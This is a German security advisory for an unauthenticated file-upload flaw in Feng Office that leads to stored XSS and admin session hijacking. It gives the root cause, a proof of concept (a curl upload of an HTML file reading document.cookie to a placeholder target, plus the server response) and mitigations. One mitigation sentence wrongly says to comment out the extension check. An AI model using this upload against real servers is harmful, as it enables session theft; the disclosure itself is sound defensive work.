
Detailliertes Sicherheitsbulletin für CVE-2026-36669: nicht authentifizierter beliebiger Datei-Upload in Feng Office, der gespeichertes XSS und Session-Hijacking ermöglicht. Enthält technische Analyse, PoC und Behebungsmaßnahmen.
Eine Schwachstelle für nicht authentifizierten, beliebigen Dateiupload existiert in ck_upload_handler.php in Feng Office Community Edition (Version 3.11.13.11). Dieser Fehler ermöglicht es entfernten, nicht authentifizierten Angreifern, beliebige Dateien (einschließlich bösartiger .html- oder .php-Skripte) in ein webzugängliches Verzeichnis hochzuladen. In Kombination mit fehlenden Cookie-Schutzmaßnahmen für Administratoren (HttpOnly) kann diese Schwachstelle zu gespeichertem Cross-Site Scripting (XSS) und administrativem Session-Hijacking führen.
| Metrik | Details |
|---|
| CVE-Identifikator | CVE-2026-36669 |
| Schwachstellentyp | Uneingeschränkter Upload von Dateien mit gefährlichem Typ (CWE-434) |
| Zugehörige Schwäche | Fehlende Authentifizierung für kritische Funktion (CWE-306) |
| Betroffenes Produkt | Feng Office Community Edition |
| Betroffene Versionen | Version 3.11.13.11 (und möglicherweise frühere Versionen) |
| Ausnutzungsstatus | Proof of Concept verifiziert |
| Behebungsstatus | Nicht gepatcht (Anbieter benachrichtigt, kein Patch innerhalb des standardmäßigen Offenlegungszeitraums bereitgestellt) |
Der Endpunkt ck_upload_handler.php fungiert als eigenständiges Skript. Es lädt oder erbt keine Authentifizierungs-Middleware oder Zugriffskontrolllisten (ACL) der Hauptanwendung. Folglich wird jede externe Anfrage, die direkt an dieses Skript gesendet wird, als authentifiziert behandelt.
Im Quellcode von ck_upload_handler.php wurde die serverseitige Dateivalidierungslogik (Zeilen 21–25), die darauf ausgelegt ist, Uploads auf bestimmte Bildformate (.jpg, .png, .gif) zu beschränken, explizit auskommentiert:
// $pattern = "/\.(jpg|png|gif)$/i";
// if (!preg_match($pattern,$_FILES['upload']['name'])) {
// ...
// }
Da diese Regex-Einschränkung inaktiv ist, akzeptiert der Dateiuploadmechanismus jede vom Benutzer bereitgestellte Erweiterung.
Das Skript verwendet die PHP-copy()-Funktion, um die hochgeladenen Dateien direkt in das /tmp/-Verzeichnis zu schreiben, das als webzugänglich konfiguriert ist.
Die globale Konfigurationsdatei application/config/config.php erzwingt das HttpOnly-Flag für Session-Cookies nicht. Wenn ein Angreifer eine .html-Datei mit clientseitigen Skriptblöcken hochlädt, führt jeder Administrator, der die Datei ansieht, das Skript im Kontext seiner aktiven Sitzung aus. Dies ermöglicht es Angreifern, aktive administrative Session-Tokens stillschweigend zu extrahieren.
Hinweis: Dieses Proof of Concept wird ausschließlich zu Bildungs- und defensiven Prüfzwecken bereitgestellt.
Um die Schwachstelle zu verifizieren, senden Sie eine Multipart-POST-Anfrage mit einer harmlosen Verifikationsdatei (z.B. test.html) an den Endpunkt, wobei der erforderliche Parameter CKEditorFuncNum angehängt wird:
curl -i -X POST \
-F "[email protected]" \
"http://<target-domain>/ck_upload_handler.php?CKEditorFuncNum=1"
Wobei test.html grundlegendes Proof-of-Concept-HTML-Markup enthält:
<!DOCTYPE html>
<html>
<body>
<script>
alert("Vulnerability Verified: " + document.cookie);
</script>
</body>
</html>
Bei Verwundbarkeit antwortet der Server mit einem 200 OK-Status und gibt einen JavaScript-Block aus, der den Upload-Pfad angibt:
<script type="text/javascript">
window.parent.CKEDITOR.tools.callFunction("1", "/tmp/test.html", "");
</script>
Wenn Sie eine betroffene Version von Feng Office betreiben, wenden Sie die folgenden manuellen Hotfixes an, um den Dateiupload-Endpunkt zu sichern:
Stellen Sie sicher, dass ck_upload_handler.php vor der Verarbeitung von Dateiuploadlogik auf aktive administrative Sitzungen prüft.
Kommentieren Sie die Erweiterungsprüfungen aus und erzwingen Sie sie strikt. Lehnen Sie alle Uploads ab, die nicht explizit den erwarteten nicht ausführbaren Bild-MIME-Typen entsprechen:
$pattern = "/\.(jpg|jpeg|png|gif)$/i";
if (!preg_match($pattern, $_FILES['upload']['name'])) {
header("HTTP/1.1 403 Forbidden");
exit("Invalid file type.");
}
Ändern Sie Ihre PHP-Konfiguration oder die Bootstrap-Konfiguration der Anwendung, um sicherzustellen, dass Session-Cookies nicht über clientseitige Skripting-APIs zugänglich sind:
session.cookie_httponly = On
Soufiane LAGZIRI